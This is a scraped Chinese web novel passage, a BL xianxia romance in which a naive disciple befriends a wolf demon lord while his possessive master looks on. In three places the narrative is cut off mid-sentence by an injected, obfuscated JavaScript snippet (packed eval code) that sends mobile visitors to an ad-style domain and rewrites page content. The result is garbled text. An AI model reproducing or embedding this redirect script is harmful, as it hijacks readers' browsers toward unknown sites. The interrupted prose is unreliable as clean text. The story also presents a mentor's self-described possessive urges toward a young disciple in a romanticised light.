《万人迷攻深度扮演中[快穿]》 1. 养了师尊的死对头做灵宠(一) “哎,你听说了吗?顾棠好像喜欢上了宗门里某个女修士!前几天还见到他去过城里的胭脂水粉铺子呢,也不知道是哪个女修士这么好运气。” “他怎么说也是掌门的徒弟,我们该叫一声师兄的,你休要这般无礼。” 林清把手里翻到卷页的低级功法“啪”的一声拍在桌子上,周蟠还以为他要怎样,结果林清只支吾了半天。 “…他脸嫩,我叫不出来嘛。”林清还惦记着刚才那八卦,讷讷了几句,乖乖改了口。 “周蟠,你说顾师兄看上的到底是谁啊?也没见他和谁关系好过…” “你说的这些又跟你有什么关系呢?”周蟠端端正正的跪在软垫上,面无表情的翻了一页功法。 林清愤愤不平。“怎么和我没关系啦?顾师兄要是看上了我喜欢的女修可怎么办啊?我本来就没多大机会,很有可能就要彻底白给了!” “哪个女修这么倒霉能让你看上?”周蟠已经有点不耐烦了,很显然不想和他继续讨论这个话题。 林清本就是随便编出的一个幌子,被他这么一问直接噎住了,“我…算了,跟你说这些干嘛?你个呆子什么都不懂,怕是到现在都没体验过情窦初开的感觉吧?啧啧啧,真是个可怜虫。” “懒得和你废话。” 周蟠啪的一声把功法合上,起身故作姿态的拍了拍身上并不存在的灰尘,“顾师兄晚上说要来我屋里探讨功法,我先回去了。” 贱/人。林清面色一黑,差点没维持住脸上自得的笑容。 * 顾棠正照着草药大全里的介绍熬着止血汤药,整个小木屋里都弥漫着一股浓郁的…焦糊味儿,他却浑然不觉似的继续搅动着药炉。 褚珏就是在这么糟心的环境下醒来的,刚睁开眼睛的一瞬间差点又被熏晕过去。 顾棠舀起一勺黑乎乎的药汁刚要尝就眼尖扫见地上躺着的人位置的变化,不禁眼前一亮,丢下药匙,噔噔噔几步跑到他身边蹲下。 “你醒啦,”被少年亮晶晶的眼睛盯着,褚珏差点就要脱口而出感谢都话语了,可惜接下来…“我就知道我还是有炼药天赋的,看你,才闻我熬的汤药不到一刻钟就醒过来了。” 顾棠还在不明所以的沾沾自喜,褚珏却觉过了味来。 想来应该是这屋子里足够温暖,让他冻僵的身体缓了过来他才会清醒,并不是因为那罐子喝了好像能把人送走的汤药。 “多谢小兄弟的救命之恩,在下没齿难忘。”褚珏强撑起身子正色朝眼前少年深施一礼,扯动着肩上碗口大的伤口又潺潺流出了鲜血。 “小事小事,师父教过我要积善行德匡扶世人的!大恩不言谢。”虽然但是,这五个字是这么用的吗? 这是个很有活力的少年,看上去很单纯,不像是有那么多心眼子的奸诈之人,应该可以信任…吧? 反正眼下他也找不到第二种办法能够在大雪纷飞的条件下活到伤口恢复了。褚珏有些惆怅的想着。 “在下还有一事相求,您可否再容我两日?外面气温寒冷,我这要是一出去说不定就死在外面了…”他看上去情真意切,满眼都是真诚和感激,叫人深觉可信。 “可以呀,这儿是我师父留给我在山下的住处,你想住多久都可以,平时也不会有人来打扰你,你也别您您的叫着了,我听不惯,直接叫我名字吧,我叫顾棠,是师尊的弟子。” 少年对陌生人没有一点戒心,眉眼间的天真烂漫快要溢出来了,总给人一种拿块糖就能把他勾走的错觉…总之就是满脸写着好骗。 褚珏吞了吞口水,心里突然生出了一种愧疚的情绪。这是从来都没有过的。 其实仔细思考这段话,他得到的关于这少年的信息只有“某人的弟子”“这儿是他的临时住所”这两条,也不知他该说对方是不谙世事的小迷糊还是心机重。 不过看顾棠脸上不似作假的关心与担忧,他更倾向于第一种猜测。 “对了,你是狼妖吗?我刚救你的时候你还小小一只缩在雪地里,看上去好可爱的!没想到一进屋子里就突然身体变大了好几倍,把我都吓了一跳呢。”顾棠支着下巴打量他,笑盈盈的,脸上没有一丝阴霾。 褚珏眼神一凛,但久久不见少年脸上有厌恶或者害怕的情绪出现,他又默默收回了尖锐的眼神,声音放低。 “嗯…是的,对不起,吓到你了。” * 褚珏就这么住了下来。 顾棠并不经常回来,但每次回来都会给他带点有助于伤口恢复的丹药和方便携带的吃食,褚珏觉得他可能是背着什么人把自己留下的。 而且能拿出这么多丹药,这少年一定不是一般人,说不定是某个大宗门的弟子。 顾棠真的很有爱心(bushi),见褚珏伤口恢复的不错,大半夜悄悄溜进来就要拉着他去雪地里玩抛接球,褚珏人都惊了。 他很想说自己并不是狗,但是寄人篱下,顾棠的眼神还那么期待、那么单纯的喜悦…褚珏忍着羞耻变回狼的形态跑出去接住了被抛向雪地深处的球。 “乖狗狗,好厉害!”顾棠接过球时眼睛都亮了,帮他理顺了背上的毛以作奖励。 别真的把他当成一条会冲人摇尾巴的狗了啊喂! 在被捏了一把带着柔软绒毛的耳朵之后,褚珏震怒,褚珏沉默,褚珏低下头猛狼屈服。 “变回去好不好?” 顾棠盘膝坐在雪地里眉眼弯弯的揉弄着他的耳朵尖尖,一会似乎是觉得不尽兴,拍拍他的脑袋趴在他耳边笑盈盈道。 褚珏怀疑自己肯定是被蛊惑了,要不然怎么会做出如此有损自己名誉和威猛形象的行为? 于是皑皑白雪间就出现了这么一副画面,雪地中间一大一小两个模糊的影子交叠在一起,大的那个抱着小的那个使劲rua,隐约间可见半空飘落的毛毛…… …回去会不会突然发现头上秃了一大片?他漫无目的的想着,眼皮也跟着慢慢耸达了下来。 这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222515|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉,实在是太温暖了。 褚珏无意识的摇着尾巴,爪子被顾棠握在手里还要小心收着力,生怕一个不小心就伤到他。 “你的伤怎么样了?”顾棠突然把他举到眼前问道。 褚珏下意识夹着嗓子“嗷呜”了一声,声音一出来自己也觉出不对劲了,轻咳两声才终于找回原本的语气。 “咳…已经好得差不多了,再有一两天就可以行动自如了,这几天还要多谢你的照顾。”褚珏一对竖瞳中倒映着少年小小的倒影,眸底隐隐闪过一抹柔和的神采。 “你要走了吗?”顾棠抱紧他不撒手,眸子一下子低垂了下去,看上去可怜的不行。 见他这样,褚珏也觉得心里不舒服,思来想去,他抬起小爪子在顾棠心口处凝聚出一个如拳头般大小的法阵。 “这是我们种族的人宠契约,如果你以后想见我的时候,可以…通过这个告诉我,我一定会来见你。” 褚珏有些紧张的看着他,怕他怀疑自己,不肯和自己签订契约,又怕他突然翻脸说之前都是骗自己的,其实他早就知道自己是魔族了… 顾棠垂眸看着自己心口处悬浮着的小小法阵,不做丝毫犹豫的咬破手指将自己一滴血液滴了上去。 “说好了,不能反悔哦。” 法阵一阵震颤,随即全部变成了鲜红色,涌入了他的识海,在他丹田处留下一个复杂的纹路。 顾棠眉眼弯弯的看着这一系列变化。 契约生效,褚珏能明显感受到身为主人的顾棠此刻的喜悦是发自内心的,他心底那最后一丝阴霾也消失不见了。 * 顾棠连夜赶回了宗门,他放轻脚步小心翼翼的踩过门前的积雪,在雪地里留下一连串脚印。 回自己房间的路上没有发生意外,正当他松了一口气想推开房门的时候,那扇门却被从里面拉开了。 一个颀长的身影出现在门口,来人用那双沉静冷凝的眸子微微俯视着他,薄唇紧抿,透出几分冷硬。 “师…师尊,您怎么在我房里?”顾棠吓了一跳,噔噔噔后退几步,双眸一下子瞪大,满脸惊悚。 “今天该疏通经脉了。”周旻承神情松动了些许,从宽大的袖子里伸出一只手拉着顾棠进了屋。 顾棠眨了眨眼睛,睫毛上落着的雪花因为温度升高化成水珠垂落在他眼尾,氤氲出一阵水汽。 周旻承打量着他,直到把他看着浑身不自在才收回视线,垂下眼眸抬手轻轻拍打他肩头的布料,抖落一片雪花,还贴心的施法帮他烘干了头发。 “去哪儿了?” 顾棠表现的很自然,就连郁结都是闷闷的不出声,让人看不出异样。 “去了师尊在山下为我置办的房子。”他声音发闷,看上去兴致不高,但还是乖乖任人摆弄。 “一个人去的?”周旻承解开他的斗篷挂到墙上,一直观察着他脸上的表情。 “嗯…” 事实证明顾棠真的很不擅长撒谎。 2. 养了师尊的死对头做灵宠(二) 瞧着少年眸底的闪躲和脸上染着的红晕,周旻承在心中轻轻叹息。 像只小猫。 虽然有时可能会恃宠而骄,一点点试探你的底线,但从来都不会做的太过分,一双圆溜溜的眼睛可怜巴巴的盯着人看的时候,无形间简直可以消灭那人的全部负面情绪。 “棠棠,乖,骗人是不对的,告诉师父你去做什么了?” 周旻承用温热的指腹蹭了蹭他的脸颊,尽量放缓语气,与他四目相对,似乎想要看清他眸中的情绪。 顾棠支支吾吾了半天,终于说出了口。 “师尊…我在山下捡到一只受伤的小狼崽,见他实在可怜就带回了住所,不过师尊放心,等他伤好了我就赶他出去!” 狼? 因为这个种族与魔尊同宗的缘故,周旻承对他们并没什么好感,更何况正正好好受了伤晕倒在自家宗门山下的狼族幼崽能是什么好东西?说不定是包藏祸心早有预谋的阴险之辈设下的圈套。 他可怜的小徒弟,就这么被那个邪恶的魔族预备役给骗了。 周旻承看向顾棠的眼神顿时夹杂了些许怜惜。 “乖孩子,有时候太过善良可不是什么好事。”似乎想到了什么,他突然话锋一转,“困了吧?今日为师就不追究了,等到明日一早,带师尊去见见他可好?” 顾棠被他有一下没一下的理顺着头发,抬起的眸子里盛满了纯然的孺慕。 “嗯嗯。” 晚上周旻承没有像往常一样留下来,而是在顾棠穿着里衣躺进床褥后吹灭烛火,脚步轻缓的离开了。 并非是他不想留下,而是因为顾棠心里装着事,忘了对他提出同寝邀请,为人师表的周旻承自然不能拉下面子来主动提起。 人有时候为了面子不去做一些事,早晚都是要后悔的,而周旻承刚把门合上就后悔了,结果他一用神识探查就发现屋里的人已经睡着了。 他是不可能去打扰顾棠休息的,因为最近顾棠吵着闹着说想要长高,而晚睡会长不高…… 周旻承叹了口气,在门口静立了良久。 这是顾棠拜入师门后第一次一个人睡,而结果就是他一沾枕头就迷迷糊糊的昏睡过去了。 全然没有给静立在门口等顾棠开口说些“我一个人害怕,师尊能不能留下来陪陪我”一类的场面话的周旻承哪怕一点表现的机会。 周旻承听着房间里清浅的呼吸声,有些惆怅的抬眼望天,片刻后,他也踏着清雪往自己屋里走去。 * 第二天一早,顾棠收拾了一包东西抱着就冲下了山,来叫他去修炼的师兄过来的时候只看到他小小的背影——那是跑远了。 “你的伤好点了吗?”顾棠眼巴巴的看着他,时不时看一眼门外,神情带着隐藏不住的焦急。 “已经可以正常活动了,是出什么事了吗?” 褚珏扶住他的肩膀,有些心疼的看着他被冷风刮得红通通的小脸,指尖微动,一道魔气就涌上了他的脸侧。 按理说魔气和灵气是天生相冲的,但顾棠已经和他签订了契约,褚珏不仅无法伤到他,对他施加魔力还能够对他产生一定的增益效果。 顾棠摸摸自己的脸,呆呆的,“好舒服…”好像在温暖的春天被一阵微风拂过一般的感觉。 但是这不是最重要的啊!重要的是他师父已经快要赶过来了! “对不起啊,我不能留你了,我师尊不让我捡奇奇怪怪的东西回家,他可能马上就要来了,你还是快走吧,要不然他一会儿说不定要连着你一起揍呢!” “他经常打你吗?”褚珏皱了皱眉,突然一把把他抱起来。“你跟我一起走吧,我的力量已经恢复了一大半,足够带你逃出这里了。” 顾棠吓了一跳,但顾忌着他身上的伤,只轻轻拍了两下他的后背稍作示意。 “快放我下来!师尊从来没打过我的,我是怕他把你当成坏人对你动手!” 顾棠怕自己的话被他当成是危言耸听,刻意小脸严肃了起来,眸子瞪得圆溜溜的,边说还边比划着。 “真的!你受了伤绝对打不过他的,他一剑至少能劈出一条这么深的沟壑!” 话音未落,顾棠又开始哼唧哼唧的推他,就连贴在他肩胛骨处的脸也跟着使劲,娇嫩的皮肤都被蹭红了一小片。 “我…好吧,我现在就走,你要多保重,我还会回来见找你的。” 褚珏其实早在他说第一句的时候就听出了撤离的急迫性,他就是在腾时间,想和顾棠多待一会儿。 其实对他来说,魔界外面的领域都步步杀机,这次要不是为了突破境界所需的一味只有人间才有得药材,他才不会冒着大险带着手下十几名魔修下凡。 各大宗门也不知是从哪里得到了消息,早早便埋伏在了他们此行的必经之路上,突如其来的偷袭简直让人防不胜防,手下没一个存活的,只剩褚珏一个被护法拼死护送了出来才得以逃生,还遇到了这个名为顾棠的少年。 顾棠把他从后门推了出去,满眼不舍的看着他在雪地里狂奔的背影。 周旻承一早起来发现顾棠不在自己房间的时候就猜到了他是去报信了,但周旻承并没有像顾棠想象中的那样恼羞成怒的全力赶过来对他新找的玩伴赶尽杀绝。 因为这种事他已经做过一次了,而且那次对顾棠产生了很大的影响,逼得他不得不封印住自己这个小徒弟的一部分记忆,所以这次他并不打算像个大冤种似的巴巴赶过去伤顾棠的心。 少年心性,就是向往外面的世界,想要多交朋友的,这都是顾棠发展过程中的必需品。周旻承劝了自己半晌才堪堪压抑住心里将要喷涌而出的占有欲。 没错,他竟然一直以来对这个小徒弟都充斥着占有欲,他也从不否认自己不正常,但一想到某天这种隐秘的心思被公之于众会让顾棠远离自己,他心底的阴郁与暴虐就压抑不住想爆发。 现在,那个所谓的朋友应该已经抛弃他的小徒弟被吓得跑路了吧?作为师父,他有责任安抚一下顾棠的情绪。 周旻承眉头渐渐松开,不紧不慢的 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顾棠吸了吸鼻子,泪眼汪汪的从他怀里抬起头来,湿漉漉的眼睫轻眨了几下。 “嗯…” 这算是应下了吗? 在他一双清澈见底的眸子的注视下,周旻承无法深想,只好把他的头重新按回自己怀里。 * 褚珏回到魔教的时候已经是三日后了。 缺少了他这个领头,教众们都像是没了主心骨似的,不是满世界的找他就是出去抢圣地用修炼来麻痹自己,城中已经混乱一片了。 褚珏每天都忙于处理教里月来堆积的杂务,盖章盖的手疼也被他强忍了下来,就想着能快点结束完这边的一切回去找顾棠。 找到了人他要干什么呢?把人带走吗? 逃跑那日他观察了一下周围的景观,曾经被逼迫着看了三个月地图的褚珏能明显认出那旁边最近的宗门就是几公里外是凌天宗。 顾棠是凌天宗的弟子,而他肩头那片最深的伤口就是被那位凌天宗的掌门、同样也是修仙界第一人的周旻承所赐。 绝世天才怎么可能没有些小爱好呢?比如说…虐待门下没有背景的可怜少年? 反正他可是听说过不少案例,施暴者无一不是当时顶尖的天才修士,而他们的爱好一个比一个变态,堪称是修真界的祸害都毫不为过。 竟然还给顾棠洗脑以为他那师尊是什么好东西…不过是个道貌岸然的货色,简直是畜生行径,令人不齿。 虽然还不确定顾棠师承周旻承,但是他这人就是喜欢未雨绸缪,凡事都往最坏的方面考虑。 换个角度讲,要是顾棠真被骗至此,他难道就要眼睁睁的看着顾棠越陷越深吗?当然是不可能的。 褚珏被自己幻想出的事实激励的完全热血起来了,恨不得当场再长出四只手、两个脑子,好一晚上就把所有折子批阅完。 3. 养了师尊的死对头做灵宠(三) …顾棠现在在做什么呢? 他又一次出神的想着,毛笔上的墨渍在纸上留下一圈圈痕迹。 门外突然走进来两个教众,他们手里费力的抬着箱子,放在地上时还激起了一层薄薄的灰尘,可见里面东西之沉重。 这正厅平常都没有人打扫的吗?怎么这么脏?以后顾棠要是住进来的时候不会嫌弃吧? 他面露沉思之色,又开始了新一轮的幻想。 “魔尊大人,这是西部的矿山这个月开采出的灵石,要直接运到库房吗?” 像是想起了什么,褚珏突然眼前一亮,让手下呈上来几枚成色好的灵石。 他手里拿着几枚灵石打量着,心念一动,手里的东西就不见了。 差点忘了,他已经和顾棠签订了灵宠契约了,作为被驯养方的他可以不借助任何外力手段,单凭心念就和“饲主”联系上。 “…主人?”没叫出口之前还觉得有些难以启齿的称呼,一叫出口他倒是释然了。 左右不过一个称呼而已,顾棠可以算得上是他的救命恩人了,他就委屈一下自己叫声“主人”又怎么了呢? 只要他不说,顾棠不说,谁又能知道让整个修仙界闻风丧胆的魔尊在外面当狗呢?啊呸,是狂拽酷炫的灵宠! 识海里似乎多了一些听不清楚的回应,他知道那是顾棠在尝试联络他,但不懂方法,只能自己摸索。 “小主人,把你的灵力缓慢绕丹田一周,然后尝试用灵力冲击心弧就可以和我对话了。”褚珏悉心引导着。 又过了一会儿,他突然感觉脑海里响起少年紧张的声音。 “褚…褚珏?”是清脆透亮,还带着少年人的青涩的诱人声线。 “嗯,是我,你现在还好吗?你师尊有没有因为我的事为难你?”褚珏心里一喜,连忙问道。 “唔…等等,我师父过来了!”那边只留下这句话就没有了音讯。 随着等待的时间越来越长,褚珏的心一点点沉了下去,一个个阴暗的想法又冒出头来。 顾棠的长相哪怕放在他们魔族也是极少有的那种,气质里又带着涉世未深的懵懂和一点少年人该有的生机与活力,可谓是吸引活了几千年的老变态的一剂猛药。 火气上涌,他直接脸色阴沉的折断了手里握着的毛笔。 “魔尊大人,这些灵石…” 他那两个跪在地上的手下的其中一个小心翼翼的开口,心里简直泪流满面。 谁会想没事闲的去触自家老大的霉头啊,他们也是没办法,褚珏让他们呈上去几枚灵石后就自顾自是支着下巴发起呆来,过了几秒,灵石不见了,可他们老大脸上却露出了傻笑。 当时两人谁都没敢吱声,还以为褚珏是被打伤了脑子,精神不正常了。 没人往契约方面想。 毕竟嘛,褚珏那一天天狂拽酷炫恨不得日/天/日/地的那副样子,哪点和契约兽扯得上半点关系? “扔库房去啊,这都要来问本尊,本尊养你们是干什么吃的?”褚珏烦躁的挥挥手示意他俩快滚。 那二人立马如蒙大赦般的抬着箱子“噔噔噔”跑出了大殿,速度比来的时候快了好几倍,像是生怕被他波及似的。 * 顾棠手忙脚乱的把褚珏刚才传送过来的几枚灵石塞进储物戒指里,在周旻承走进房间之前就迅速转过身来朝人扑了过去。 “师尊你怎么才来啊,我功法又卡住了…我是不是真的天赋很差呀?别人知道你有我这么个不成器弟子会不会在背后偷偷笑话你?师尊…” 少年满脸写着不高兴,小脸皱巴巴的,抬头看向他的眸子里水光潋滟,看上去漂亮极了。 这么乖这么甜的语气,一定又做了坏事。但是又有什么关系呢?小猫只会一直试探你的底线,并不会真的舍得骗你些什么。 周旻承低头轻吻了一下他的额头,声音喑哑的安慰着怀里的少年。 “不会的,棠棠是世界上最好的小徒弟,是师尊永远的骄傲,谁要是敢多嘴师尊替你教训他。” 就这么安静的抱了容祀一会儿,周旻承拿起了他床边上的那本初等功法,翻到昨天讲的那页。 “哪里又不明白了?来,师尊给我们棠棠好好讲讲…” “这里!这里…还有这里!”顾棠一连指了好几个地方,然后把手指放在唇边小心翼翼的观察着周昱昱的脸色。 在发现周旻承脸上连一丁点不悦都找不见的时候他就开心起来了。 师尊从来不会嫌他笨!除了不让他交朋友这点以外,师尊简直是天底下最有善心的大好人! 今日份修炼完毕后,顾棠又开始在宗门里闲逛的每日副本了! 叮!前方200米有一个跌倒的小姐姐,救了! 叮!西边三百米处有灵兽在破坏药圃,顾棠要立即采取支援行动! 叮!和他交好的某位长老需要人做药引!顾棠巴巴的赶过去,然后被那位长老言辞恳切的拒绝了。 对方还声明不知是哪传的谣言,他才不会做那种找活人做药引的丧良心的事儿。 又过了几天顾棠才知道,是某个不怀好意的人在向外散布谣言,希望能用这些不入流的小手段让他们宗门以后招收的子弟能少点儿。 顾棠一天天忙的不亦乐乎,没找到一个地方解决了某个的麻烦只要被人拉着手一阵感谢,运气好的话说不准还会被塞点凡间新奇的小物件或者吃食——毕竟这宗门里也不是所有人都辟谷了的。 他嘴甜,人也挺会来事,就是资质太低,修为怎么提都提不上去。 不过宗门里的人也愿意宠着他,平日里进了秘境得了什么天材地宝,凡是他能用到的都要送来给他。 顾棠本来是不想要的,怕因为自己这种接受贿赂的行为给师尊造成什么不好的影响。 后来周旻承亲自开口,让他照单全收,不必在意那些有的没的,这是其中一个原因,另一个原因则是…他们给的实在是太多了! 顾棠真的觉得自己很幸福,虽然从小父母双亡,但小小年纪就被周旻承带回了宗门,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222517|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收作了唯一的徒弟,哪怕他的资质和心性连凌天宗的边儿都够不上。 他从前也问过几次周旻承为什么要收自己为徒,得到的答案大多只有沉默,他不知道周旻承沉默个什么劲,但得不到承认的感觉总是让他很烦闷。 但他最后一次问出这个问题的时候,周旻承不仅很郑重的亲吻了他的额头,还认真的和他对视着,又轻又缓的说。 “因为师尊见到你的第一眼就想保护你,想着这么个粉雕玉琢的小孩儿要是我的就好了,我一定会好好把他养大,把所有的偏爱全都给他。” 顾棠被肉麻的耳尖通红,在他心口处不轻不重的捶了一下,闷闷的不说话了,眼睛却变得亮晶晶的,像是含着一汪清泉。 * 距离和褚珏的告别已经整整一个月了,这期间顾棠也试着和远在千里之外的褚珏联系过,对方有时也会很有耐心的和他聊上许久,然后传送过来一大堆他没见过的东西,说是给他的礼物。 顾棠闲来无事的时候总会翻出储物戒指里的东西一件件打量,他对褚珏给的东西无疑印象是最深的。 带着魔气的紫色长剑,一些奇形怪状的糕点和…一个看起来就很狂野的皮质项圈以及不明用途但一看就知道很不正经的一些精致的小玩意。 顾棠问过他为什么要给他最后那几个东西,褚珏则是带着点小羞涩的回答。 “等下次再见面的时候你亲手给我戴上…”为什么一个人的语气中能透出这种即羞涩又理所当然的奇妙感觉呢?顾棠不懂而且极为费解。 “我可能并不怎么喜欢这些东西…”他试图挣扎一下。 “放心吧,我问过别人了,他们说有些人就是会口是心非,其实心里是很喜欢的。” “……”顾棠沉默片刻,“你是说你自己吗?你很喜欢?你是不是和很多人玩过了?” 听着脑海里少年近似刻薄的话语,褚珏连连否认,心里却有种类似爽的感觉,然后他开始在心里反思自己是不是真的有那方面的癖好。 “我才没有!我可是干干净净一个人!心里只有主人一个!我”他纠结了良久,终于忍着羞耻,“…如果是你亲手给我戴上的话,我可能会喜欢的!” 是可能,不是一定,老天,这是他最后的节操了。 你吼这么大声做什么!顾棠眼疾手快的伸手把耳朵堵住了,但发现并没什么卵用。 褚珏的声音是直接响在他脑海里的,让人避无可避。这是什么残忍的刑罚吗? “行吧…”顾棠小声道,“那就说好了不能太过分哦,我们是朋友,我不希望你为了我忍受太多痛苦。” 当然,你要是再在我脑子里面大喊大叫可就说不准了。 “…好的,小主人。”他好像诱拐了一个很单纯的少年。 他表露的意思都这么明显了,顾棠竟然还以为两人是纯洁的朋友关系。 褚珏骤然攥紧了自己胸口上那块薄薄的布料,心脏跳动的频率很快,震得他手心都发麻了。 更爱了怎么办? 4. 养了师尊的死对头做灵宠(四) * 这天早训结束,周旻承叫住了跟着师兄师弟一起往外走的顾棠,说要带他下山历练,叫他回去好好准备,一会儿就出发。 顾棠瞬间两眼布满了小星星,高呼了一声“师尊万岁”,然后噔噔噔的跑回自己别院装起行李来。 这还是周旻承第一次提出来要带他出去历练!从前都只有他眼巴巴看着别的师兄师弟出去历练,自己馋的不行的份儿。 这次一定要缠着师尊,多在外面待一会儿再回去。顾棠边收拾东西边兴冲冲的想着。 结果,周旻承该死的保护欲终究还是要让他失望了。 真正出发之后,周旻承带着他御剑飞行于上千米的高空之中,他一眼往下望去,白茫茫一片,连根毛都看不到,更别提他心目中期待了许久的美景良田了。 试问这还有一点外出历练的气氛吗? 虽然这么想着,但是稍微有点恐高的顾棠还是乖乖的抱紧了周旻承的腰,生怕自己一不小心脚滑掉下去。 “害怕就抱紧我,师尊在呢。” 看他这副模样,周旻承更加觉得自己跟着一同前往的行为是多么正确了。 不仅能够得到小徒弟香香软软的抱抱,还不用担心他真的遇到危险,他还很开心…至少出来的时候是这样的。简直是一箭三雕。 在空中整整飞行了两个时辰,周旻承一点点减少往剑身里灵力的注入,两人开始缓慢的下降,最终停在一个山洞门口。 “在这好生待着,师尊去为你寻件趁手的法器来。” 然后,在顾棠还没反应过来的时候周旻承就一脚踏进了山洞里消失不见了,只留顾棠一个人在山洞洞口发呆。 他此刻脑海里闪过无数个问号。他真的很想问问师尊,他心心念念了这么久的历练就真的只是这样而已吗? 好在这片树林里的风景还算不错,顾棠折了片叶子叼在嘴里,抬头望天。 蔚蓝的天空,清新的微风,和耳边若有似无的野兽的咆哮声……好安逸的感觉。 等等!哪里来的野兽咆哮声?! 顾棠微眯起的眼睛一下子瞪得溜圆,眼神扫过四周,然后很不幸的在自己右方的树林里看见了一片金黄的皮毛一闪而过。 我趣,这么老大一只老虎…都能一爪子拍死他了吧? 顾棠咽了咽口水,不带一丝犹豫的转头跑进了山洞里。 山洞里很昏暗,因为很深的缘故,光线照不进来,他心里没来由的一阵害怕,又不敢大声喊叫师尊,生怕身后那只老虎追进来。 山洞里有许多岔路,细分起来四通八达的,朝哪个方向的都有,顾棠不确定周旻承是往哪条小路走的,身后的虎啸声却还一直催着他前进。 顾棠咬咬牙,随便选了条顺眼的就钻了进去。 眼看前方的路越来越狭窄,顾棠的脚步也慢慢慢了下来。 这时候要是有人能来救救他就好了。 在原地站了一会儿后,他慢吞吞的从储物戒里掏出一颗拳头大的夜明珠来。 光芒照亮了前面的死路,顾棠黑着脸吃力的转过身又重新选了一条路默默走着。 为什么师尊要带他来这种鬼地方历练呜呜呜……顾棠突然觉得自己命好苦。 他现在只希望能快点和师尊汇合,要是这次他没命丧虎口的话,他以后真的再也不会吵着出来历练了!特别还是和别人口中“超靠谱”的师尊一起。 哎等等,他是不是还有一个人可以联系的上啊? 顾棠连忙从空间戒指里掏出一颗表面泛着莹润光泽的小水晶石头,攥在手心默念着褚珏的名字。 他有次嫌每次都要让灵力在心弧里转一圈儿太麻烦,褚珏就给他送过来了这么一个小石头,他事无巨细的给他讲明白了用法。 没过一会儿就得到了回应,顾棠轻舒了一口气。 “褚珏褚珏,我现在在一个山洞里,外面有一个老虎在追我,而且我还好像迷路了…呜呜你说我会不会死啊…” 要是只有自己一个人的时候,顾棠还能忍忍,但是一有人倾诉他就忍不下去了,说着说着声音里就带上了哽咽和委屈。 褚珏正嘴角抽搐的半睁着死鱼眼看着眼前两个从镇上来深渊的百姓在他办公的正厅吵的不可开交。 当魔尊就这点不好,周围几座城池里都没有人类敢管理,他手下那几个魔将又生怕被以为有割据之心,最后处理几座城里这些杂事儿的活儿也都落到了他头上。 要问管理这几座城池有什么爽感则谈不上,麻烦倒是一堆,时不时还有嘴里讲着仁义道德的正派修士前来讨伐他,说他鱼肉百姓什么的… 他就呵呵了,他倒是看这些百姓半点也没把他放在眼里,在他面前都吵的快撕巴起来了,他敢肯定要是他不知死活的凑上去肯定也被会挠的满脸花。 真是穷山恶水养刁民。 早知道会这样,他当初就把大本营直接建在那些大宗门旁边好了,至少这样的话,那些百姓就不会来找他这个魔头申冤了,正道还赚了个好名声,何乐而不为呢? 正当他被烦的想掀桌子的时候,脑海里突然传来了顾棠似有似无的哭声,他顿时什么都顾不上了,披上大氅就夺门而出,边说还边轻声细语的安慰着人。 “别怕别怕!先往好的方面想想,那只老虎也不一定是想伤害你啊…这样吧,呼…我马上就赶去救你哈!我大致知道你的方位,很快的!” “山洞里也好黑,我身边一个人都没有…师尊把我丢在门口就自己进来了,现在我也找不到他……” 顾棠抹了一把眼泪,情绪慢慢稳定了下来,哭过后的沙哑嗓音听在人耳中沙沙作响,简直痒到了心里。 褚珏化成狼的形态在荒地里狂奔起来,听见这声音差点没脚下一滑摔个狗啃泥。 心里焦急,不满脚下的速度,他从空间装备里拿出以前从来不屑于用的代步法器,直接翻身踩在上面,下一秒他的身形就如同离弦之箭一般飞了出去,直奔顾棠所在的那片树林。 “你…别哭啊,我保证很快就到的!小狗不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222518|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是答应了永远保护主人的吗?” 他这辈子从来没哄过人,一时间也只能磕磕巴巴的想出来这种方式。 顾棠闷闷的“嗯”了一声,终于停止了抽噎,褚珏的脑海里安静了片刻,不一会儿,那声音又断断续续的响起。 “我好像看到前面有光亮了…我可以往前走吗?”有了依靠,顾棠整个人精神状态马上就不一样了。 “可以的,如果遇到危险的话就把我给你的传音石对准它,我一击就可以把他击倒。” “你真有这么厉害?那为什么当初见你的时候你被打的惨兮兮的…”怼人的话说出口后,顾棠默默收了声。 毕竟一会儿有可能还要麻烦褚珏保护他的安全呢,可不能把人惹毛了。 “我那是被那些伪善的正道埋伏了,要是单对单的话我肯定不会输的…小主人就不能对我有点信任感吗?” 顾棠自动略过了前半句,着重完整听完了后半句。 好好好,有能力就行,打死一只老虎应该是不在话下吧? 终于,在山洞里走了两条岔路之后,顾棠又绕回了先前进去的山洞口。 他小心翼翼的探了半个脑袋出去,四下扫了一圈儿,并没发现那只老虎的存在才微微放下心来,小步小步的慢慢从山洞口里挪了出来。 